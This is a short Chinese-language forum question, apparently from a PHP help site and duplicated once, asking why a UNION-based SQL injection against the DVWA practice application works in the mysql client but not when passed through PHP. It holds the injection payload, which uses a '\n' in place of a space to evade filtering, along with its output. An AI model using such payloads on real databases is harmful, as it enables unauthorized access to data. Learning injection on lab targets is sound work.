首頁  >  文章  >  後端開發  >  mysql "PAGER set to stdout" 怎么取出数据

mysql "PAGER set to stdout" 怎么取出数据

WBOY
WBOY原創
2016-06-06 20:12:532965瀏覽

mysql> select user,password from users where user_id=-1 union select user(),database() from\nusers;

PAGER set to stdout
user password
+----------------+----------+
root@localhost dvwa

1 row in set (0.00 sec)

想通过加\n能取出数据,在mysql下执行会得到。但是在php中执行,外部接受这个\n参数再执行却取不到,求解,是什么问题?

mysql

回复内容:

mysql> select user,password from users where user_id=-1 union select user(),database() from\nusers;

PAGER set to stdout
user password
+----------------+----------+
root@localhost dvwa

1 row in set (0.00 sec)

想通过加\n能取出数据,在mysql下执行会得到。但是在php中执行,外部接受这个\n参数再执行却取不到,求解,是什么问题?

mysql

陳述:
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn